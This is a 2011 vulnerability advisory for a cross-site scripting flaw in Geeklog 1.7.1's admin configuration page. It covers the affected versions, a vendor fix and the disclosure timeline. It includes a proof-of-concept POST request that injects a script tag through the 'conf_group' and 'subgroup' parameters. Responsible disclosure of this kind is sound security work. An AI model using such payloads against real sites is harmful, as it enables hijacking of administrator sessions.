========================================== Geeklog 1.7.1 <= Cross Site Scripting Vulnerability ========================================== 1. OVERVIEW The Geeklog was vulnerable to Cross Site Scripting in its administration backend. 2. BACKGROUND Geeklog is a PHP/MySQL based application for managing dynamic web content. "Out of the box", it is a blog engine, or a CMS with support for comments, trackbacks, multiple syndication formats, spam protection, and all the other vital features of such a system. 3. VULNERABILITY DESCRIPTION User supplied input is not probably sanitized in the "subgroup" and "conf_group" parameters when the configuration settings are saved in /admin/configuration.php. Attackers who manage to get/bypass anti-csrf token (_glsectoken) via other means can effectively perform XSS against admin users. 4. VERSIONS AFFECTED 1.7.1 and lower 5. PROOF-OF-CONCEPT/EXPLOIT [Request] POST /geeklog/admin/configuration.php HTTP/1.1 _glsectoken=&conf_group=Core'"--></script><script>alert(/XSS/)</script>&subgroup='"--></script><script>alert(/XSS/)</script> [/Request] 6. SOLUTION Upgrade to 1.7.1sr1 7. VENDOR Geeklog Development Team http://www.geeklog.net/ 8. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2010-12-31: notified vendor 2011-01-02: vendor released fixed version 2011-01-04: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[geeklog1.7.1]_cross_site_scripting Vendor Advisory: http://www.geeklog.net/article.php/geeklog-1.7.1sr1 About Geeklog: http://www.geeklog.net/docs/english/#introduction http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/ http://kuza55.blogspot.com/2008/02/exploiting-csrf-protected-xss.html #yehg [2011-01-04] z